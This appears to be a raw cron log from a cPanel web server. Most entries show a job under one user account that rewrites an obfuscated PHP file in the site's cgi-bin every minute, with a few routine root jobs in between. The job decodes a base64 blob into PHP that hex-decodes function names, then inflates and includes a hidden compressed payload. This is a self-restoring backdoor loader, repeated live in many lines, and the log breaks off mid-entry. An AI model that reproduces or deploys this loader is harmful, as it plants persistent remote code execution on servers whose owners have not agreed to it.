Nov 11 12:41:01 server CROND[24000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:42:01 server CROND[24848]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 12:42:01 server CROND[24849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:43:01 server CROND[25675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:44:01 server CROND[26506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:45:01 server CROND[27347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:45:01 server CROND[27348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:45:01 server CROND[27349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:46:01 server CROND[28327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:47:01 server CROND[28905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:48:01 server CROND[29757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:49:01 server CROND[30598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:50:01 server CROND[31586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:50:01 server CROND[31588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 12:50:01 server CROND[31589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:50:01 server CROND[31592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:50:01 server CROND[31591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 12:51:01 server CROND[32160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:52:01 server CROND[474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:53:01 server CROND[966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:54:01 server CROND[1580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 